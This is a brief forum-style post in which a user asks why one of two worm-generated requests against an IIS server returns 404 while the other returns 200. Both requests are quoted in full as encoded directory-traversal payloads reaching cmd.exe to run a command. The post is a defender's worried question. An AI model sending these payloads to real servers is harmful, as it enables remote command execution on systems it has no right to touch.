This gives a 404: http://24.12.24.86/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir This gives a 200!?: http://24.12.24.86/scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir Do you know what this means? I know it's a worm, but why does the one get a 200? I'm a bit worried.... ~Matthias